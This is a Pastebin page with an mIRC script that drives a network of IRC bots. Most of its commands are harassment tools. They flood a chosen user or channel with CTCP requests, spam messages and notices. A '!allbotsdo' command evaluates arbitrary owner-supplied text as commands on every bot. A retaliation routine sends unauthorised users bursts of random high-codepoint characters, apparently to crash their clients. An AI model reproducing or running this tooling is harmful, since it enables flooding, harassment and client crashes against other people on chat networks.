Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [script]
- n0=on 500,543:TEXT:*:#: { halt }
- n1=on *:LOAD: {
- n2= echo -at Loaded commands which trigger all bots
- n3= echo -at No new variables added, all are global
- n4=}
- n5=on *:UNLOAD: {
- n6= echo -at Unloaded commands which trigger all bots
- n7= echo -at No variables unset, all are global
- n8=}
- n9=
- n10=on *:TEXT:!allbotsdo*:#: {
- n11= if ($nick == %owner && $1 == !allbotsdo) {
- n12= if ($2 != $null) {
- n13= $eval($2-,2)
- n14= }
- n15= elseif ($me == %bot1) { scon $bot_say($chan) msg $chan 4ERROR:1 Usage: !allbotsdo <commands> }
- n16= }
- n17= elseif ($1 == !allbotsdo && $me == %bot1) { scon $bot_say($chan) msg $chan 4ERROR:1 You are not authorized to use this command }
- n18=}
- n19=on *:TEXT:!ctcpspam*:#: {
- n20= if ($nick == %owner && $1 == !ctcpspam) {
- n21= if ($2) {
- n22= .timer 10 2 ctcp $2 version
- n23= .timer 1 0.5 .timer 10 2 ctcp $2 time
- n24= .timer 1 1 .timer 10 2 ctcp $2 ping
- n25= .timer 1 1.5 .timer 10 2 ctcp $2 finger
- n26= }
- n27= elseif ($me == %bot1) {
- n28= scon $bot_say($chan) msg $chan 4ERROR:1 Usage: !ctcpspam <nick>
- n29= }
- n30= }
- n31= elseif ($1 == !ctcpspam && $me == %bot1) { scon $bot_say($chan) msg $chan 4ERROR:1 You are not authorized to use this command }
- n32=}
- n33=on *:TEXT:!annoychan:#: {
- n34= if ($nick == %owner) {
- n35= var %i = 1
- n36= while (%i <= 50) {
- n37= var %j = $rand(1,6)
- n38= {
- n39= if (%j == 1) {
- n40= .timer $rand(1,3) $rand(1,50) msg $chan 2,4S4,6P6,8A8,9M9,2 2,4S4,6P6,8A8,9M9,2 2,4S4,6P6,8A8,9M
- n41= }
- n42= elseif (%j == 2) {
- n43= .timer $rand(1,3) $rand(1,50) msg $chan DING DING DING
- n44= }
- n45= else {
- n46= .timer $rand(1,3) $rand(1,50) .notice $chan 2,4S4,6P6,8A8,9M9,2 2,4S4,6P6,8A8,9M9,2 2,4S4,6P6,8A8,9M
- n47= }
- n48= }
- n49= inc %i
- n50= }
- n51= }
- n52= elseif ($me == %bot1) { scon $bot_say($chan) msg $chan 4ERROR:1 You are not authorized to use this command }
- n53=}
- n54=on *:TEXT:!annoy*:#: {
- n55= if ($nick == %owner && $1 == !annoy) {
- n56= if ($2) {
- n57= .timer 10 2 .ctcp $2 version
- n58= .timer 1 0.5 .timer 10 2 .ctcp $2 time
- n59= .timer 1 1 .timer 10 2 .ctcp $2 ping
- n60= .timer 1 1.5 .timer 10 2 .ctcp $2 finger
- n61=
- n62= .timer 10 2 .msg $2 *** Annoy ***
- n63= .timer 10 2 .notice $2 *** Annoy ***
- n64= }
- n65= elseif ($me == %bot1) {
- n66= scon $bot_say($chan) msg $chan 4ERROR:1 Usage: !annoy <nick>
- n67= }
- n68=
- n69= }
- n70= elseif ($1 == !annoy && $me == %bot1) { scon $bot_say($chan) msg $chan 4ERROR:1 You are not authorized to use this command }
- n71=}
- n72=on *:TEXT:!pmspam*:#: {
- n73= if ($nick == %owner && $1 == !pmspam) {
- n74= if ($2 isnum 1-100) {
- n75= if ($3 ison $chan) {
- n76= if ($4 != $null) {
- n77= var %i = 1
- n78= while (%i <= $2) {
- n79= .msg $3-
- n80= inc %i
- n81= }
- n82= .close -m $3
- n83= if ($2 >= 20) hop -n $chan 1PM-spammed $3 (sent " $+ $4- $+ " $2 times)
- n84= }
- n85= elseif ($me == %bot1) { scon $bot_say($chan) msg $chan 4ERROR:1 Usage: !pmspam <amount> <nick> <message> }
- n86= }
- n87= elseif ($me == %bot1) {
- n88= if ($3 == $null) { scon $bot_say($chan) msg $chan 4ERROR:1 Usage: !pmspam <amount> <nick> <message> }
- n89= else { scon $bot_say($chan) msg $chan 4ERROR:1 $3 isn't in the channel }
- n90= }
- n91= }
- n92= elseif ($me == %bot1) {
- n93= if ($2 isnum) { scon $bot_say($chan) msg $chan 4ERROR:1 Invalid amount <1-100> }
- n94= else { scon $bot_say($chan) msg $chan 4ERROR:1 Usage: !pmspam <amount> <nick> <message> }
- n95= }
- n96= }
- n97= elseif ($nick !isin $read(lists\bots.txt,w, $nick) && $nick !isin $read(lists\userbots.txt,w, $nick) && $1 == !pmspam && $me != %owner) {
- n98= var %i = 1
- n99= while (%i <= 20) {
- n100= set -e %crashmsg $null
- n101= var %j = 1
- n102= while (%j <= 50) {
- n103= set %crashmsg %crashmsg $+ $chr($rand(1,2147483646))
- n104= inc %j
- n105= }
- n106= .msg $nick %crashmsg
- n107= unset %crashmsg
- n108= inc %i
- n109= }
- n110= }
- n111=}
- n112=on *:TEXT:!allbotssay*:#: {
- n113= if ($mybots($me) && $1 == !allbotssay) {
- n114= if ($nick == %owner) {
- n115= if ($2 != $null) {
- n116= msg $chan $2-
- n117= }
- n118= elseif ($me == %bot1) { scon $bot_say($chan) msg $chan 4ERROR:1 Usage: !allbotssay <message> }
- n119= }
- n120= elseif ($nick isop $chan || $nick ishop $chan) {
- n121= if ($2 != $null) {
- n122= check $chan $2-
- n123= msg $chan $2-
- n124= }
- n125= elseif ($me == %bot1) { scon $bot_say($chan) msg $chan 4ERROR:1 Usage: !allbotssay <message> }
- n126= }
- n127= elseif ($me == %bot1) {
- n128= scon $bot_say($chan) msg $chan 4ERROR:1 You are not authorized to use this command
- n129= }
- n130= }
- n131=}
- n132=on *:TEXT:!allbotssendmsgtochan*:#: {
- n133= if ($mybots($me) && $1 == !allbotssendmsgtochan) {
- n134= if ($nick isop $chan || $nick == %owner) {
- n135= if ($2 != $null && $3 != $null) {
- n136= check $chan $3-
- n137= if ($2 == #sa-mp || $2 == #help || $2 == #operhelp) {
- n138= msg $chan ERROR:1 Trying to send a message to a blacklisted channel. Reported to my owner. Abuse will result in a demotion.
- n139= }
- n140= elseif ($me ison $2) {
- n141= if ($isowner(#[MM]IKKE,$nick)) {
- n142= msg $2 $3-
- n143= }
- n144= else {
- n145= msg $2 $3- --- message sent from 4 $+ $chan 1by 2 $+ $nick
- n146= }
- n147= }
- n148= elseif ($me ison $chr(35) $+ $2) {
- n149= if ($isowner(#[MM]IKKE,$nick)) {
- n150= msg $chr(35) $+ $2 $3-
- n151= }
- n152= else {
- n153= msg $chr(35) $+ $2 $3- --- message sent from 4 $+ $chan 1by 2 $+ $nick
- n154= }
- n155= }
- n156= elseif ($left($2,1) == $chr(35)) {
- n157= .join -n $2
- n158= .timer 1 2 msg $2 $3-
- n159= if ($isowner(#[MM]IKKE,$nick)) {
- n160= .timer 1 4 leave $2 plz
- n161= }
- n162= else {
- n163= .timer 1 4 leave $2 Message sent from 4 $+ $chan 1by 2 $+ $nick
- n164= }
- n165= }
- n166= else {
- n167= .join -n $chr(35) $+ $2
- n168= .timer 1 2 msg $chr(35) $+ $2 $3-
- n169= if ($isowner(#[MM]IKKE,$nick)) {
- n170= .timer 1 4 leave $chr(35) $+ $2 plz
- n171= }
- n172= else {
- n173= .timer 1 4 leave $chr(35) $+ $2 Message sent from 4 $+ $chan 1by 2 $+ $nick
- n174= }
- n175=
- n176= }
- n177= }
- n178= elseif ($me == %bot1) {
- n179= if ($2 == $null) { scon $bot_say($chan) msg $chan 4ERROR:1 Usage: !allbotssendmsgtochan <channel> <message> }
- n180= elseif ($3 == $null) { scon $bot_say($chan) msg $chan 4ERROR:1 Usage: !allbotssendmsgtochn <channel> <message> }
- n181= }
- n182= }
- n183= elseif ($me == %bot1) {
- n184= scon $bot_say($chan) msg $chan 4ERROR:1 You are not authorized to use this command
- n185= }
- n186= }
- n187=}
- n188=on *:TEXT:!allbotsspam*:#: {
- n189= if ($mybots($me) && $1 == !allbotsspam) {
- n190= if ($nick isop $chan || $nick == %owner) {
- n191= if ($2 <= 5 && $2 >= 1) {
- n192= if ($3 != $null) {
- n193= check $chan $strip($3-)
- n194= .timer $2 0.1 msg $chan $3-
- n195= }
- n196= elseif ($me == %bot1) { scon $bot_say($chan) msg $chan 4ERROR:1 Usage: !allbotsspam <amount> <message> }
- n197= }
- n198= elseif ($me == %bot1) {
- n199= if ($2 isnum) { scon $bot_say($chan) msg $chan 4ERROR:1 Invalid amount <1-5> | .timer 1 2 msg $chan Abusing will result in a demotion }
- n200= else { scon $bot_say($chan) msg $chan 4ERROR:1 Usage: !allbotsspam <amount> <message> }
- n201= }
- n202= }
- n203= elseif ($me == %bot1) {
- n204= scon $bot_say($chan) msg $chan 4ERROR:1 You are not authorized to use this command
- n205= }
- n206= }
- n207=}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement